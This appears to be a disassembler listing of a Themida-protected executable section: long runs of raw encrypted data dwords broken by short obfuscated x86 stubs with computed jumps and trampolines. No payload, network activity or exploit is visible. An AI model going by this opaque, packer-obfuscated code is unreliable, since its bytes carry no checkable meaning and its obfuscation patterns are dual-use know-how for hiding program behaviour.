dd 875FB34h, 5BCD4F2Fh, 89ECDABFh, 7552BCBEh, 0DE2FD61Eh
dd 10C65h, 150F0B00h, 0F61D79BBh, 8820AA75h, 72DACF85h
dd 61BFB96Fh, 8BE7E0B6h, 0BC696B32h, 4C4FE73Dh, 0F3A98CF6h
dd 72FD9BF9h, 6FE9FE51h, 7A40360Ch, 81841C86h, 0EFE9C12Bh
dd 903F391h, 19AC62AFh, 0F38720DCh, 0AD4D631Eh, 3F42DA24h
dd 0B4DC4DD6h, 0BB6FE9FFh, 0FFC1E95Ah, 7AC86FE9h, 0F0FB78E2h
dd 0CC3DC671h, 6FE9FFA4h, 68F35DABh, 0FBFF4EF7h, 73115F69h
dd 0A954EFDEh, 10A10938h, 7C762470h, 2A857322h, 0BA521F27h
dd 756961B7h, 56C8730Bh, 61D205B0h, 6FEFE039h, 1A5EF240h
dd 5AE54F74h, 7C278F84h, 0C1271DF3h, 0EFB0062Eh, 5DC7156Fh
dd 92FAEFDFh, 41678BA0h, 0D2775A79h, 7EDh, 74127E71h, 88269084h
dd 0A03EA098h, 0B654BAB0h, 0CB69D1C6h, 9C91035Eh, 0AFA69634h
dd 0C4BDAD4Bh, 0DCD6C664h, 80E1E07Eh, 0E9E70Fh, 91E3F676h
dd 5A521A0Fh, 2CB560F8h, 144665BAh, 992C8979h, 6FE95C71h
dd 42C02A78h, 5CFA5852h, 0E0636A08h, 11C3C435h, 9C4A69FBh
dd 0E83E41A5h, 0EE44D50h, 630FBA14h, 0E084B53Eh, 85EF4548h
dd 0FB67E612h, 65451E75h, 2FDB3A91h, 0D481DEh, 0F270000h
dd 360CB715h, 85DBDE3Ch, 8D82381Bh, 0B0D12225h, 606FE905h
dd 0C76A0866h, 39440255h, 0B21CE467h, 0D782E0DAh, 0A5A80801h
dd 0A702E54Fh, 1721DA4h, 69FB4058h, 0D2751361h, 40B0D849h
dd 71BF75FBh, 10C45FDDh, 0C52FC306h, 13BE4548h, 79E3453Dh
dd 935F7DEEh, 64AE7010h, 951DA170h, 7F2AC21Ah, 0AE4CB4A9h
dd 64F9990Bh, 0D21007B2h, 75DF77DBh, 4E40A89Dh, 79414A4Bh
dd 0EE761BFEh, 70000006h, 8373117Dh, 9787258Fh, 0AF9F3D9Fh
dd 0C5B553B9h, 5DCA68D0h, 339B9002h, 4AAEA595h, 63C3BCACh
dd 7DDBD5C5h, 0E7FE0DFh, 7600EAE6h, 0F90E2F5h, 2414B21Ah
dd 4B21CC2Ah, 785EF55h, 1E998E64h, 0E90785ADh, 0AE46946Fh
dd 76A9203h, 23716FE9h, 0EA5C7DB9h, 68F60D6h, 0EFC7318Fh
dd 0DE9497F5h, 5DE886E4h, 6FE97131h, 6D18ABA2h, 0FF4420FCh
dd 76216F69h, 4447A7A0h, 23F984EEh, 3D2DCB29h, 643AE543h
dd 0BB9E086Eh, 8CDA6D60h, 0BCC6BDAFh, 2D55C671h, 3C760068h
dd 39AB56EEh, 431EB36Dh, 18CF62Fh, 130C0390h, 0D2C41270h
dd 794242BDh, 36F09578h, 28000006h, 3B2BC935h, 4F3FDD47h
dd 6757F557h, 7D6D0B71h, 15822088h, 0EB5348BAh, 2665D4Dh
dd 1B7B7464h, 35938D7Dh, 0C6379897h, 7600EB9Eh, 0F489AADh
dd 0FEB4B715h, 0E8524604h, 0D6CFA550h, 721D7376h, 0E907D901h
dd 2892E06Fh, 14862945h, 578CA3DDh, 0F7980297h, 9B0C9517h
dd 6FE94973h, 0EAC22C7Ah, 11E792F0h, 5EB4B719h, 2A8176F4h
dd 1FD81DBDh, 0FBA44CADh, 1F89C7DEh, 7E6h, 0A8208C00h
dd 0CE000001h, 0E9074874h, 2FB2B96Fh, 2D25FB84h, 25EE61CBh
dd 7469FEDAh, 0ABA57B26h, 5130A24Dh, 0D34C0824h, 0CF392D25h
dd 8E0C76CCh, 9B46A49Eh, 1079A112h, 32807600h, 0A7CE5C8h
dd 0D3236072h, 9D1A847Eh, 0B4A117AEh, 84187A72h, 0C159A130h
dd 9518A516h, 0CB3D7012h, 6DAD27FEh, 0D1B01A39h, 0C7CA2A23h
dd 0A6E7D971h, 83794223h, 543FBA0h, 281B0000h, 3A2E1EBCh
dd 4A4232D0h, 645A4AE8h, 7B7060FEh, 0A9087513h, 40DE463Bh
dd 57F55950h, 700E6E67h, 8A288680h, 91B92A8Bh, 987600ECh
dd 150F3385h, 0D94BB4B7h, 150FA5C4h, 0CA5EB4B7h, 0B6201E75h
dd 273E4DEh, 6FE9CBDAh, 0A79B93E1h, 86A2A53Dh, 241EEDCDh
dd 138528C6h, 39CEB881h, 25026C01h, 0D81E59CEh, 8FF9EDC3h
dd 93CC368Ch, 7, 0C12039h, 6ACE0000h, 0C435E063h, 69FED9E2h
dd 4DB7AB81h, 0F4F76155h, 0F455349Eh, 0E65B83h, 7C146276h
dd 9F05FBD1h, 11155A0Bh, 9C06D151h, 0E3413B11h, 0FD5B5545h
dd 22847C52h, 0FA6CD5B8h, 0FC1AAF63h, 0AD1CADBEh, 1349604Bh
dd 9994117Bh, 91895F0Ah, 6CD62C2Fh, 6DAF70E1h, 90DE7016h
dd 0B7150FE5h, 12AE9A0Ch, 0E19443E7h, 0E9554870h, 7109576Fh
dd 9F998907h, 0E8E33E41h, 7C3DAE59h, 8D69FB64h, 0B2364D3Fh
dd 0FCDF7335h, 44057h, 0BF2B1E00h, 0D33D3121h, 0EB4D4535h
dd 1675D4Dh, 167E7363h, 3EAC0B78h, 5343E149h, 6A5AF85Ch
dd 83731171h, 8E8D2B89h, 0ED94BC2Dh, 889B7600h, 1202036h
dd 6ACE0000h, 0C435E063h, 69FED9E2h, 403BE32Dh, 7D1CF470h
dd 0DBB13AE5h, 0C57B7EE6h, 0F6568D0h, 3B350D77h, 554F3FDDh
dd 0D14B73E4h, 4527600h, 7700696Ch, 0D1DE06h, 0A79FED76h
dd 63E04AB2h, 0A52ED968h, 0D10C34h, 0C2201A76h, 0BC6A69BFh
dd 0B6164C2h, 0D7E0973h, 7016A44Ch, 0AE842F7Dh, 0C8B856B4h
dd 126D70CEh, 6CDD881Bh, 69FB2BABh, 0CFA294E2h, 2A73360Ah
dd 38FA247h, 0DCCF0000h, 0EEE2D270h, 0FEF6E684h, 180EFE9Ch
dd 2F2414B2h, 5DBC29C7h, 0F492FAEFh, 0BA90D04h, 24C2221Bh
dd 3EDC3A34h, 456DDE3Fh, 547600EDh, 150FEF41h, 4FEB4B7h
dd 0E487A3A6h, 8EE8DF72h, 0E78DECDh, 0C4BE8D6Dh, 0C132BB66h
dd 6FE90F99h, 6AE852A0h, 9DF7F1C7h, 0B00B855Ch, 0E14BE3F7h
dd 1DA4AD04h, 3CF4D8h, 6A9A0000h, 0C435E063h, 69FB4BEBh
dd 6339E432h, 0E06B096Bh, 75FB54B3h, 0F41C8D16h, 0FB75FB54h
dd 8B3CDCB1h, 0BC548223h, 22807A52h, 3A9C9484h, 1F8CE37h
dd 0DA449A9Dh, 2EC13h, 160FC100h, 3FDB3B6h, 2A24FAA5h
dd 973C9CCh, 43A19B8Bh, 0D2908A40h, 227477DBh, 378759DEh
dd 30C8605Bh, 0E0B31385h, 1D6964E8h, 0ADA035B3h, 3DFA6B16h
dd 4C69FBD5h, 0BC92FBFEh, 0A6063C3h, 0B3012DA0h, 603975FBh
dd 2B55AC80h, 339CDE30h, 42000000h, 0FAE4636Ah, 0E4DAAF02h
dd 0D94AF58Dh, 69FB42D8h, 0CF202371h, 75FB2DA3h, 585BC5B9h
dd 4245ADA2h, 0DF4E2EE5h, 7C503009h, 0DE2FA125h, 0CD6Ch
dd 150F1200h, 754BB4B7h, 0D9B11B7Dh, 0C1251CE4h, 76702629h
dd 655F1518h, 0BDDE6907h, 536FE905h, 6D5DFB59h, 0B7121573h
dd 0D51931B4h, 9056E552h, 23DC4DF8h, 2A69FBB1h, 0A2A93EDCh
dd 6D03741Fh, 4701057h, 0D0D3372Eh, 0D031107Ah, 0EF07375Fh
dd 60F8466Fh, 93BB2CB5h, 9A6FEF07h, 941CE550h
dd 0CC64F631h, 17056238h, 0FF69A73Eh, 1D15EB74h, 0F862B8BBh
dd 25C32B20h, 70561082h, 0EA7C6103h, 388E91F1h, 695E36A0h
dd 56580F01h, 0AA8D7941h, 1D405h, 2B978A00h, 3FA99D8Dh
dd 57B9B1A1h, 6DD3C9B9h, 82EADFCFh, 0AA1877E4h, 0BFAF4DB5h
dd 0D6C664C8h, 0EFDF7DDDh, 0FAF997F5h, 0EF002899h, 0FC0F7600h
dd 0B21A0FAAh, 0CC2A2414h, 636ADA2Eh, 0C3C435E0h, 4A69FB11h
dd 7CA8F9FCh, 0B475FB1Eh, 0F079FBDBh, 0FB1E577Fh, 0AE186675h
dd 2F917AD1h, 0BBC1DEh, 0A6180000h, 7E0B8E62h, 83BF298Ch
dd 0B4B7150Fh, 9EA109FEh, 0E9052C4Dh, 2CEAE46Fh, 16CCCF37h
dd 8C24BC1Eh, 0A604FEEEh, 0C24548A3h, 6401E448h, 0B0B1137Ah
dd 27E372FEh, 0C34CF78Fh, 8D90F8EDh, 0A15ACD37h, 0A869FB5Dh
dd 9D3DAF5Ah, 2AD1CEA0h, 4068D984h, 4F75FBFEh, 84199701h
dd 0C64FFA89h, 0FBFE2D55h, 84EE3C75h, 0A55188F9h, 2E7C7010h
dd 50B8AD83h, 65CDC2B2h, 41B47273h, 5F04E779h, 0F1h, 700E7A6Dh
dd 84228C80h, 9C3A9C94h, 0B250B6ACh, 0C765CDC2h, 988DFF5Ah
dd 0ABA29230h, 0C0B9A947h, 0D8D2C260h, 7CDDDC7Ah, 0F0E30Bh
dd 85D7EA76h, 14B21A0Fh, 2ECC2A24h, 0B7150FDAh, 0A604FEB4h
dd 89787308h, 0E8932B95h, 0FED9BE77h, 7E81CF69h, 0C570CEC8h
dd 3F33F9EFh, 0E47CD2D5h, 120CFC7Ah, 0BF48B1B4h, 0E6264Eh
dd 0DF473C76h, 0B52892E0h, 847B76F7h, 6B65231Dh, 1CB40A0Dh
dd 0C1C0C719h, 42011177h, 0EAED554Ah, 25F4D493h, 72C8CB2Dh
dd 0A4843BDAh, 0D27DDBD5h, 349E08FCh, 6ECCC6B6h, 46BFB56Bh
dd 86E3ADD5h, 779F1087h, 868786E3h, 53EB3938h, 3DA59A50h
dd 2C8A843Ah, 2C0CC529h, 856524BDh, 0D0382D03h, 350D77CDh
dd 4F3FDD3Bh, 764CF755h, 0CEB11B7Fh, 1429h, 0A95D700h
dd 0F6414798h, 37A8688Eh, 6FE9BC0Fh, 0CE38D01Eh, 0B01C0F92h
dd 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah, 63CBC076h, 4DB5AA60h
dd 389E944Ah, 25877F35h, 0E786C22h, 89504D0Bh, 405E0h
dd 0E8830000h, 24048704h, 5624248Bh, 0C681E689h, 4, 4EE81h
dd 34870000h, 2C895C24h, 33046824h, 0C890000h, 68535024h
dd 4E6E6807h, 3DC3815Bh, 89B7A978h, 0C5895BD8h, 0C8B5458h
dd 4C48124h, 68000000h, 1EB7h, 89241489h, 85189EAh, 2434FF5Ah
dd 4C48359h, 5D2434FFh, 4C481h, 1AE90000h, 21FFFA95h, 2C20DEECh
; ---------------------------------------------------------------------------
loc_5A5500: ; CODE XREF: Themida_:loc_5A49FBj
mov eax, 617EA74h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 8Fh, 9Fh, 9Bh
dd 6676F052h, 7D4F4614h, 0C12C6709h, 0E5BEB06Fh, 128EC711h
dd 98092718h, 0BF9CD26Bh, 4DD1BE69h, 0F4308363h, 88DC3E13h
dd 0FC407366h, 2226946Fh, 6E334636h, 61581341h, 2D099B4Fh
dd 3A210B4Dh, 0E512B5Ah, 24EB74h, 8 dup(0)
dd 0E9000000h, 0BDh, 0EB3DB589h, 858B0617h, 61207ADh, 2F8D858Bh
dd 0B58D0612h, 617EB87h, 4986858Dh, 0D0FF0615h, 0E855C3h
dd 5D000000h, 0EB8DED81h, 0BD830617h, 61207ADh, 2C850F01h
dd 0FF000000h, 17EB3DB5h, 8D858B06h, 3506122Fh, 34812736h
dd 13CD0FFh, 0A850Fh, 1B80000h, 0E9000000h, 47h, 40E9C033h
dd 6A000000h, 41B58D1Ch, 560617EBh, 0EB3DB5FFh, 858B0617h
dd 6122F8Dh, 81273635h, 83D0FF34h, 0B58D0CC4h, 617EB41h
dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
dd 1B80000h, 83000000h, 1207ADBDh, 850F0106h, 7, 2E9C35Dh
dd 5D000000h, 66858DCFh, 890617EBh, 120ED585h, 0BEE906h
dd 0BC110000h, 945D8Dh, 50000h, 10000h, 0A280000h, 20000h
dd 2Ah dup(0)
; ---------------------------------------------------------------------------
jmp loc_5A6179
; ---------------------------------------------------------------------------
push 617EE5Eh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617EF4Eh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617F023h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617F082h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617F189h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617F1E4h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617F4B3h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617F5BAh
jmp loc_54EA15
; ---------------------------------------------------------------------------
db 56h, 63h, 0F7h
dd 0B756959h, 23857D6Dh, 399F9585h, 4EB6AB9Bh, 76E443B0h
dd 8B7B1981h, 0A2923094h, 0BBAB49A9h, 0C6C563C1h, 0F4CCF465h
dd 0C0D37600h, 0B7150F6Eh, 4604FEB4h, 0C03FF24Ch, 0F38A466Eh
dd 6A02585Bh, 9A3437CCh, 0E95E0129h, 22BA086Fh, 75490677h
dd 2A7869FBh, 0DD4CBE27h, 0CF2F2880h, 2EE276CCh, 76E95366h
dd 75FB874Ah, 0F5C9A982h, 0DE2FFE9Eh, 2CAA2193h, 2CA487E1h
dd 2789C2h, 0AE00000h, 53A9AC16h, 636AADE9h, 0C3C435E0h
dd 4A69FB11h, 7CA8F9FCh, 0B475FB1Eh, 0D027FBDBh, 17DE2F91h
dd 0B9h, 0B7150FBDh, 4109FEB4h, 90E6E947h, 453FF5F8h, 342EE4E7h
dd 80188276h, 2B457E2h, 0CFA56FE9h, 310973D9h, 0B628DD37h
dd 1D746A5Fh, 3C68DA85h, 6325592Dh, 0FE96FCF2h, 2C261694h
dd 594D23CEh, 2C96ECEFh, 64FFEE49h, 0BC9F48B9h, 60AE69FBh
dd 0A33E2DC2h, 5F5887F8h, 27757010h, 49B1A67Ch, 5EC6BBABh
dd 4207346Ch, 9B402379h, 853h, 700E7A6Dh, 84228C80h, 9C3A9C94h
dd 0B250B6ACh, 0C765CDC2h, 988DFF5Ah, 0ABA29230h, 0C0B9A947h
dd 0D8D2C260h, 7CDDDC7Ah, 0F5E30Bh, 85D7EA76h, 14B21A0Fh
dd 2ECC2A24h, 7614198Bh, 15BA6643h, 8FC4779Bh, 0B822BA17h
dd 0E0636A7Ch, 11C3C435h, 9C4A69FBh, 930A46A4h, 0A0D0F733h
dd 4AF0508h, 0FB116B93h, 8C247275h, 110C3889h, 6B4475FBh
dd 8560B78Bh, 0C4A7DE2Fh, 4D000000h, 0B4B7150Fh, 0F6A109FEh
dd 7D4FC6Dh, 8DDB6FE9h, 4CEF4023h, 0C06FE903h, 0DACA68C6h
dd 247F82E0h, 7EEF9A29h, 69FB0AD5h, 0A8CEC638h, 2CE57B7Fh
dd 64D33598h, 0C32D697Ch, 15EB96E4h, 63B9BC1Ch, 0E7E67BF9h
dd 2240B15Ch, 0ED701060h, 341D07A3h, 53EB71BAh, 7AD8D2A8h
dd 0BAAF8510h, 3B11B452h, 84DADD47h, 0E54D421Ah, 4188ABF3h
dd 18BDA079h, 763h, 60FE6A5Dh, 74127C70h, 8C2A8C84h, 0A240A69Ch
dd 0B755BDB2h, 887DEF4Ah, 9B928220h, 0B0A99937h, 0C8C2B250h
dd 6CCDCC6Ah, 0F6D3FBh, 75C7DA76h, 14B21A0Fh, 21CC2A24h
dd 8452D7AFh, 0D2432D23h, 6FE9EFAAh, 61CB63B1h, 746A40E3h
dd 0F68A40Eh, 0FA625715h, 609A1F7h, 5AF85650h, 903BC6C5h
dd 0FEEBBB1Fh, 0DC80CA69h, 987A89C5h, 14EA952Dh, 931EBC1Ah
dd 760043DBh, 2BD66564h, 683C2FB9h, 0D77F9CEh, 0DBF03D8Fh
dd 35A651D0h, 70125B98h, 9A701B69h, 0FBD53FA3h, 26F6BBA8h
dd 22A1ACFCh, 28F10677h, 6210FDC9h, 5A82F36Ch, 6105C8C9h
dd 22787B13h, 212C878Ah, 2D86F7A2h, 5CFFDC3Ch, 938D630Eh
dd 0ADA79735h, 62375D4Fh, 1D00E57Dh, 68E78h, 0D33F3200h
dd 0E7514535h, 0FF615949h, 157B7161h, 2A928777h, 52C01F8Ch
dd 6757F55Dh, 7E6E0C70h, 97872585h, 0A2A13F9Dh, 0F7A8D041h
dd 0A4B77600h, 0E0636A52h, 0E2D6AC35h, 0CBBF7578h, 70085E61h
dd 0EB2F9306h, 105E69FEh, 319B8F65h, 45AFA393h, 34928C42h
dd 30334042h, 53F8DB73h, 62Fh, 94329E91h, 0A846B0A4h, 0C05EC0B8h
dd 0D674DAD0h, 0EB89F1E6h, 0BCB1237Eh, 0CFC6B654h, 0E4DDCD6Bh
dd 0FCF6E684h, 0A001009Eh, 0F7072Fh, 0B1031676h, 35E0636Ah
dd 0FEEB60C4h, 0B661AF69h, 0EA88E6E0h, 1CC75A55h, 0F3FA2293h
dd 0B3017600h, 0F660C4BBh, 0F3BEFA6Bh, 7FCD7600h, 0F2FE2B7Ch
dd 5F387600h, 6B54AB7Fh, 3D9BDE35h, 41000000h, 31DC6F6Ah
dd 70F37A8h, 0D01E6FE9h, 78CB425h, 45936FE9h, 0ABDF50DBh
dd 0BA6FE907h, 0EC18696Ch, 246FE907h, 2F958B61h, 704424C5h
dd 0D81D7F19h, 760h, 9C200600h, 0CE000001h, 754B82ADh
dd 33B01A7Eh, 8DFEA938h, 69FB2EF0h, 5228D321h, 0B28CF65Ch
dd 55D1DD5Fh, 0EDE6BCC6h, 0CA348A8Dh, 18C35E4Dh, 0B3BD92A7h
dd 22257313h, 923DC4C7h, 0A731C821h, 0D883D119h, 0CAA0802h
dd 40B1221Ch, 19A8CF18h, 0BD2ED927h, 19A8CF95h, 0CCBE56A4h
dd 0CF8856ACh, 28D3785Bh, 98000005h, 0AB9B39A5h, 0BFAF4DB7h
dd 0D7C765C7h, 0EDDD7BE1h, 85F290F8h, 5BC3B82Ah, 72D6CDBDh
dd 8BEBE4D4h, 0A503FDEDh, 36A70807h, 7600F80Eh, 0FB80A1Dh
dd 4BB4B715h, 1A1D7B75h, 0EEDD5AC4h, 9497FDF3h, 8AFBA63Eh
dd 69FB199Dh, 0D0C05EACh, 0F08678D6h, 0B7335FFh, 4CD8328h
dd 0F30000h, 1206F694h, 221A0AA8h, 3C3222C0h, 534838D6h
dd 81E04DEBh, 18B61E13h, 2FCD3128h, 48E6463Fh, 62005E58h
dd 69910263h, 707600F8h, 150F0B5Dh, 4FEB4B7h, 0E487A3A6h
dd 2C8C855Bh, 1840D329h, 276FE907h, 0EECE6FD9h, 7367251Fh
dd 0DED37109h, 0D81D7E87h, 53CEh, 865C7400h, 47C42E8Ch
dd 0CC38AA44h, 56AB8991h, 891D45D8h, 3D336FE9h, 0F28AD8D7h
dd 9641D647h, 92E069FBh, 2C9D268Fh, 75FB9E04h, 0B5B41E12h
dd 5E8AFD67h, 7475FB9Eh, 5D131680h, 45A79F69h, 9453AAADh
dd 966F45B4h, 118BE2B6h, 34D2DE30h, 78000000h, 35E0636Ah
dd 0FB4BEBC4h, 33148669h, 9F746A93h, 8AD8B721h, 0AB1509DFh
dd 9F946A0Dh, 74DE3437h, 0FB49D401h, 94F2EC75h, 0A81206F6h
dd 3ED00A5h, 5CAE0000h, 0ED2E9086h, 83D9CCAh, 77CDD068h
dd 69D900Dh, 0B69DEA5Bh, 9EEC69FBh, 8DEBE59Bh, 96762D8Ah
dd 0ED982B22h, 426ADB64h, 4975FBAAh, 0D11E91FBh, 0E0700DACh
dd 0B4E60E7Fh, 0A7F56FE9h, 8781710Fh, 0C0CB2629h, 370D9641h
dd 174DE3Eh, 69FBC358h, 92681361h, 0DE34379Bh, 913A9174h
dd 5C5FC5BBh, 1BFB9C06h, 6ACEC399h, 0C0617028h, 71DB738Dh
dd 0A3419F99h, 0D9841F0Eh, 0D765368h, 6164B270h, 0C92922F8h
dd 2F8D875Fh, 3616D52Ch, 80EADEB4h, 392F277Dh, 0E1EC69D3h
dd 3146B762h, 0D069FB61h, 2CC42E22h, 2C22F881h, 620B33C6h
dd 641275FBh, 0AE04076Fh, 3E2EAC16h, 0B23BE644h, 0FB621941h
dd 78722075h, 3518821Ah, 1F228A7Fh, 0C0F7169h, 0F8FB5F56h
dd 9302E2A1h, 0DB5D3DF4h, 62B9E152h, 72C075FBh, 0D8363008h
dd 1BA6A53Ah, 7156FF70h, 1967700Dh, 8666016h, 0FEFAE05h
dd 0BBB1909Bh, 0A112BD55h, 69FB5DF8h, 3208B301h, 1FD5D83Ah
dd 0C12BC329h, 9B595343h, 0E93F42A2h, 0FF97F9F1h, 0EE4C46FCh
dd 31B0BB50h, 79581586h, 0E7BD700Dh, 31878AF2h, 0EF9AE8C7h
dd 47CDF566h, 0EBE36FE9h, 0D23C8A89h, 47729EEFh, 0D1AA6FE9h
dd 9F996FF1h, 7EE83E41h, 1DBF4AA1h, 2A91D8h, 6A370000h
dd 5F35E063h, 0C97016Bh, 0FB119A9Bh, 6265B369h, 0FB1EE511h
dd 845A1D75h, 1DBE288Eh, 9212693Dh, 0A459DE2Fh, 0FF000000h
dd 0B4B7150Fh, 9EA109FEh, 8D90EEE8h, 0E17FDDD7h, 0E902B356h
dd 15F596Fh, 1B797363h, 33CEBD18h, 576FF88h, 6FE90BDDh
dd 0C1349EECh, 69FB2908h, 9025C311h, 4BAFA69Dh, 0AF5AF248h
dd 5142B426h, 37780CF7h, 4CC45ACDh, 0C99F7010h, 25046ED2h
dd 61562CD7h, 766B5BF9h, 15501C0Eh, 0B4977942h, 1FE0Fh
dd 63CFC200h, 77E1D5C5h, 8FF1E9D9h, 0A50B01F1h, 0BA221707h
dd 0E250AF1Ch, 0F7E785EDh, 0EFE9C00h, 2717B515h, 3231CF2Dh
dd 0FB3860D1h, 34477600h, 521A0FE2h, 9CF2F55Dh, 7C766604h
dd 6A2C801Eh, 0C435E063h, 69FB11C3h, 5078E94Ah, 5F75FB1Eh
dd 0BE221911h, 0A6D22326h, 0DE75FB1Eh, 0E850451Bh, 84258FE5h
dd 9179D0A4h, 0E56EDE2Fh, 12C3EB5Ch, 7CCA75FBh, 0FB12C1E9h
dd 107AC875h, 0E1D7h, 0D35C7D00h, 0C9F09FDh, 6FE907E4h
dd 5B339DEBh, 4A000361h, 99EAED55h
dd 6FE902F6h, 1BC6241Eh, 7EE85045h, 0B8161000h, 0D0535AB5h
dd 28FBB425h, 0D42269FBh, 0ECAFB729h, 0CBFB7ADCh, 196F72D2h
dd 482BED81h, 53092244h, 0D7D66BE9h, 51040450h, 41572420h
dd 6C5EF21Dh, 0D68119EEh, 3CA60800h, 0E10940B1h, 0C614700Fh
dd 0E850451Bh, 7491CB3Dh, 332BE6CEh, 0D33DD53Fh, 8706555h
dd 4121C416h, 0FFA48779h, 0F7h, 0CC6AD6C9h, 0E07EE8DCh
dd 0F896F8F0h, 0EAC1208h, 23C1291Eh, 0F4E95BB6h, 7FEEE8Ch
dd 1C1505A3h, 342E1EBCh, 0D83938D6h, 0FC3F67h, 0E93B4E76h
dd 5E521A0Fh, 39BF1F4h, 278B8258h, 139C3FBDh, 0DFE2463Dh
dd 7CEF689h, 8FDD6FE9h, 0F5534D25h, 0BA7C744Ah, 5FC961C1h
dd 150F8DE1h, 754BB4B7h, 0D6AE1880h, 4BE07EDCh, 0A516C140h
dd 69FEEB4Dh, 0E1453A10h, 5DE761B0h, 5B5EF664h, 6EBC9B05h
dd 0FDBBB56Bh, 0F61E8F06h, 5760049h, 0E9871FB7h, 7358D446h
dd 0AE557DEEh, 16647600h, 0D847AD82h, 1C86E8E0h, 41EC4A44h
dd 0A40E766Bh, 5ECF58C1h, 76009836h, 1A8DF745h, 3A8ADF25h
dd 0F0F3514Bh, 0DCDF433Ah, 66E8C87Fh, 76E1CDF5h, 0F68EDCCDh
dd 0F1C0A057h, 0BFB99F7h, 47B0B311h, 0A9137D71h, 7275DBD1h
dd 0AD7C5C1Bh, 0C7B755B3h, 0C76C6FCDh, 3, 0F599575h, 0F7ADB01Ch
dd 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh, 944A4DB5h
dd 7F35389Eh, 6C222587h, 4D0B0E78h, 81E38953h, 4C3h, 4BE5600h
dd 29000000h, 1C875EF3h, 89575C24h, 4C781E7h, 83000000h
dd 3C8704EFh, 0C895C24h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
sub esp, 4
mov [esp], ebx
mov ebx, 3C056179h
mov ecx, 0CA128BCEh
add ecx, ebx
pop ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
push ebx
mov ebx, 8
add ebx, 106222DAh
add ebx, esi
sub ebx, 106222DAh
mov [ebx], ecx
pop ebx
push dword ptr [esp]
pop esi
add esp, 4
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_54EA15
; ---------------------------------------------------------------------------
dw 7FE6h
db 0D9h
; ---------------------------------------------------------------------------
loc_5A6179: ; CODE XREF: Themida_:005A5708j
mov eax, 617F6D6h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 38DDh
dd 83335962h, 7684163Dh, 3D784435h, 852458E1h, 0A58002A5h
dd 3089126Bh, 0B3876D0Eh, 0BFD1523Ch, 0C006D96h, 0D4ED3C64h
dd 0BD5D1E58h, 0C1F12988h, 9EF24C81h, 63AC50ABh, 239E5DF8h
dd 1A494875h, 98EC605Bh, 3B4662B3h, 703B1694h, 919B0386h
dd 0B9931BD1h, 0BEAC154Ah, 54E95B22h, 4507990h, 3B1251E6h
dd 84AB6724h, 8D8D2EEEh, 617F8C1h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 3CC35747h, 23891496h, 0A3DA810Eh
dd 0E8556553h, 11h, 75F39Fh, 0F24038A1h, 3AA24645h, 0B6645E26h
dd 55BD8B98h, 5E061202h, 9A18D89h, 6A0612h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 86B4DFC3h
dd 0FECC155Ah, 10E999CCh, 13000000h, 3D71501Eh, 0C985FC60h
dd 727453CAh, 0C7A9AEA2h, 12050585h, 59A006h, 0C7D5B400h
dd 121BD985h, 6, 49B5FF00h, 0F06122Ah, 8Fh, 3195FF00h
dd 6A06121Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 1668C355h, 0F20497Ah, 58Ch, 60F96000h
dd 95036161h, 6121A55h, 95FF006Ah, 61219CDh, 3BEBC08Bh
dd 44C8DD43h, 0C26DE6E4h, 0E2B09C02h, 65FB2A1Bh, 0BD159502h
dd 0E9E7BECEh, 90DE5C09h, 0B46B4319h, 0FE8A43C2h, 0F17EE9E2h
dd 0C62AECADh, 0B6A56C88h, 444926FFh, 0C1DEAF17h, 0E8735BA2h
dd 8, 29E5C9D6h, 0EC6693D5h, 65BD3156h, 5E061205h, 0D59D8B58h
dd 8106122Dh, 75F0C0h, 58DB8100h, 6818E1E6h, 1D49h, 0AA5ABA66h
dd 259D015Fh, 0FF06120Ah, 12E930h, 0E1210000h, 1FB95670h
dd 9656C769h, 27AF56FEh, 2123AA8Ah, 75858959h, 8106122Dh
dd 0C31DF3C1h, 199D0935h, 81061216h, 86CFFDC1h, 0B1B5031Ah
dd 81061212h, 2FB5A5C1h, 25858970h, 89061219h, 83F48A08h
dd 484802E8h, 15880Fh, 0DE80000h, 87000000h, 0DD14DA36h
dd 30C8C9E3h, 98A4BFECh, 4F5ED88Bh, 1C850Fh, 95230000h
dd 6121F71h, 23E9h, 3182600h, 0B0DEFC03h, 0E3CDAA54h, 0B562FBF9h
dd 9531F62h, 122CD9B5h, 68E95B06h, 0FBFFFFFFh, 75E56D1Bh
dd 0FAAE8D8Dh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 89C24AC3h, 89F1BF0Fh, 1209A18Dh
dd 19DA8106h, 0C704796Bh, 12050585h, 662806h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 340B463Ch, 41158113h, 0D10BF781h, 85297212h, 6122F11h
dd 1BD985C7h, 612h, 8D890000h, 6120D69h, 268DB5FFh, 6A0612h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 6EEBA7C3h, 4B532F79h, 8B2D9EE8h, 1202ADBDh, 7E906h
dd 44920000h, 0D54D9F66h, 95FFF55Fh, 6121B31h, 0CE9h, 10054400h
dd 519B21D7h, 0FE984902h, 0FF006AE0h, 1219CD95h, 0EBC08B06h
dd 6F04B23Eh, 693C56CDh, 0C9A30436h, 3FCB1988h, 1B19787Fh
dd 556E8FBBh, 6E5AA921h, 4F4BC8BAh, 0AB454959h, 0EA0DB52Fh
dd 3BA2E123h, 8CC7EF67h, 0A6EE70E9h, 965FD8F8h, 8AEA9A05h
